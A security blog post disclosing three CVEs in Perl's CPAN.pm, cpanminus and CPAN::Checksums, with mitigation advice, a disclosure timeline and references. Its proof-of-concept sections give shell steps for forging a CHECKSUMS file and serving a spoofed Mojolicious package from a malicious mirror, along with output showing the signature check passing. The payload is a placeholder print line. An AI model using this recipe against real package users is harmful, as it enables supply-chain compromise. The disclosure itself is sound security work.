Hackeriet Blog
Ikke akkurat NRK Beta

About

Signature Verification Vulnerabilities in CPAN.pm, cpanminus and CPAN::Checksums

23/11/21 — sgo

CPAN is a repository of over 200,000 modules for the Perl programming language. PAUSE is the "[Perl programming] Authors Upload Server".

To install Perl modules from CPAN, users can use the `cpan` client provided by CPAN.pm included in the Perl core, or the `cpanm` client provided by cpanminus.

Both clients have optional support for verifying that `CHECKSUMS` files have a valid PAUSE PGP signature before checksums are checked and modules are installed.

It was found that `cpan` and `cpanm` are vulnerable to a signature verification bypass. Additionally, `CPAN::Checksums` (used by PAUSE) does not uniquely identify packages in the signed `CHECKSUMS` file, enabling a supply chain attack.

- [CVE-2020-16154] App::cpanminus 1.7044 allows Signature Verification Bypass
- [CVE-2020-16155] CPAN::Checksums 2.12 does not uniquely define signed data.
- [CVE-2020-16156] CPAN 2.28 allows Signature Verification Bypass

For more information see Addressing CPAN vulnerabilities related to checksums by Neil Bowers.

Mitigation

Users should ensure that their CPAN client is configured to use a trusted TLS (https) protected mirror as signature verification can be bypassed, and signed `CHECKSUMS` cannot be relied upon for security.

Signature Verification Bypass

[CVE-2020-16154, CVE-2020-16156]

An attacker can prepend checksums for modified packages to the beginning of `CHECKSUMS` files, before the cleartext PGP headers. This makes the `Module::Signature::_verify()` checks in both `cpan` and `cpanm` pass.

Without the `sigtext` and `plaintext` arguments to `_verify()`, the `_compare()` check is bypassed. This results in `_verify()` only checking that valid signed cleartext is present somewhere in the file.

Proof of Concept

First, `Module::Signature` needs to be installed. Then prepare a malicious CPAN mirror containing a modified package.

In this example, we spoofed the popular `Mojolicious` package to illustrate:

```
mkdir -p cpan/{authors,modules}
wget -O cpan/authors/01mailrc.txt.gz https://cpan.metacpan.org/authors/01mailrc.txt.gz
wget -O cpan/modules/02packages.details.txt.gz https://cpan.metacpan.org/modules/02packages.details.txt.g
wget -O cpan/modules/03modlist.data.gz https://cpan.metacpan.org/modules/03modlist.data.gz
mkdir -p cpan/authors/id/S/SR/SRI
pushd cpan/authors/id/S/SR/SRI
wget -O CHECKSUMS_ORIG https://cpan.metacpan.org/authors/id/S/SR/SRI/CHECKSUMS
module=Mojolicious-8.56
mkdir $module
echo 'print "### INSERT MALICIOUS CODE HERE ###\n";' > $module/Makefile.PL
tar czf $module.tar.gz $module
sha256=$(sha256sum $module.tar.gz | cut -d' ' -f1)
(echo -en "\$chksum = { '$module.tar.gz' => { sha256 => '$sha256'} };\n__END__\n"; cat CHECKSUMS_ORIG) >
popd
cd cpan
# Then serve the repo locally on port 8000
busybox httpd -f -p 8000
```

CPAN.pm

Prepare environment:

- Install the required signature checker extension
- Add http://localhost:8000 to your `urllist`
- enable `check_sigs`.

```
$ cpan Module::Signature
$ cat <<EOF |cpan
o conf check_sigs 1
o conf urllist unshift http://localhost:8000
o conf commit
EOF
```

Demonstrate unsigned code execution:

```
$ cpan SRI/Mojolicious-8.56.tar.gz
[..]
Signature for /home/user/.cpan/sources/authors/id/S/SR/SRI/CHECKSUMS ok
Checksum for /home/user/.cpan/sources/authors/id/S/SR/SRI/Mojolicious-8.56.tar.gz ok
[..]
Configuring S/SR/SRI/Mojolicious-8.56.tar.gz with Makefile.PL
### INSERT MALICIOUS CODE HERE ###
No 'Makefile' created  SRI/Mojolicious-8.56.tar.gz
  /nix/store/kfrlhcjp3hp7vs83y701xzd542k8sm7k-perl-5.30.3/bin/perl Makefile.PL -- NOT OK
```

App::cpanminus

```
$ cpanm --local-lib=$(mktemp -d) -v --verify --mirror http://localhost:8000/ Mojolicious@8.56
[..]
Verifying the signature of CHECKSUMS
Verified OK!
Verifying the SHA1 for Mojolicious-8.56.tar.gz
Checksum for Mojolicious-8.56.tar.gz: Verified!
Unpacking Mojolicious-8.56.tar.gz
[..]
Running Makefile.PL
Configuring Mojolicious-8.56 ... ### INSERT MALICIOUS CODE HERE ###
N/A
! Configure failed for Mojolicious-8.56. See /home/user/.cpanm/work/1596121570.28866/build.log for detail
```

CPAN::Checksums does not uniquely define signed data

[CVE-2020-16155]

`CPAN::Checksums` generates CHECKSUMS recursively for each directory under the `author/` directory structure, and the file path for the packages in the manifest doesn't contain an author handle (filenames are only unique per author).

An attacker with PAUSE access can trick PAUSE into generating a valid CHECKSUMS file for another authors package, allowing a malicious mirror or network attacker to serve a modified package to a target along with a valid but malicious CHECKSUMS file.

Proof of Concept

A CHECKSUMS file impersonating the already published package `Acme::Study::Perl 0.0.1` has been generated on `pause.cpan.org` and signed by the PAUSE PGP key.

```
0&&<<''; # this PGP-signed message is also valid perl
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

# CHECKSUMS file written on Fri Jul 24 15:59:10 2020 GMT by CPAN::Checksums (v2.12)
$cksum = {
  'Acme-Study-Perl-0.0.1.tar.gz' => {
    'md5' => 'd474ea9bf1861d696f05fbfc9e845f77',
    'md5-ungz' => '9614de46e57904130b6f75c0fe8fdd22',
    'mtime' => '2020-07-24',
    'sha256' => 'f239031b672604dafe456909ba3121f0c002e135bbc394fafd072397ecfadc99',
    'sha256-ungz' => 'cef212349a6beb0622193e22d92a21dc9dd7bb2f6d7f79ac0d863188efef0282',
    'size' => 211
  },
  'test.txt' => {
    'md5' => '5150d35ce48639c7c78cffe84891faab',
    'mtime' => '2020-07-24',
    'sha256' => '5d0d196ae349adf45246252d303885db3adfa723139ad5147fe7a767ded1f5b4',
    'size' => 51
  }
};
__END__
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.14 (GNU/Linux)

iEYEARECAAYFAl8bBU4ACgkQMo2oZ0UPiewySQCfd00WKH3QfVO/GjcYvDosimBs
44AAoJZGxbOludHf6JYItrNOSBq1BHVA
```

```
=6gsJ
-----END PGP SIGNATURE-----
```

Timeline

- 2020-07-08: The Perl Security team was notified
- 2020-07-15: The module authors were notified
- 2020-07-30: CVE numbers assigned
- 2021-11-18: Publication agreed for 23 nov
- 2021-11-23: Coordinated disclosure

References

- http://blogs.perl.org/users/neilb/2021/11/addressing-cpan-vulnerabilities-related-to-checksums.html
- https://github.com/andk/cpan-checksums
- https://github.com/andk/cpanpm/blob/ac0963601fe22c3a0b6cc9a8f0d51da5fd6e41ef/lib/CPAN/Distribution.pm#L1474
- https://github.com/miyagawa/cpanminus/blob/7b574ede70cebce3709743ec1727f90d745e8580/Menlo-Legacy/lib/Menlo/CLI/Compat.pm#L1491

Acknowledgements

Thanks to Andreas König, Neil Bowers, Hamish Coleman, Alexander Kjäll and Salve J. Nilsen.

Authored by Stig Palmquist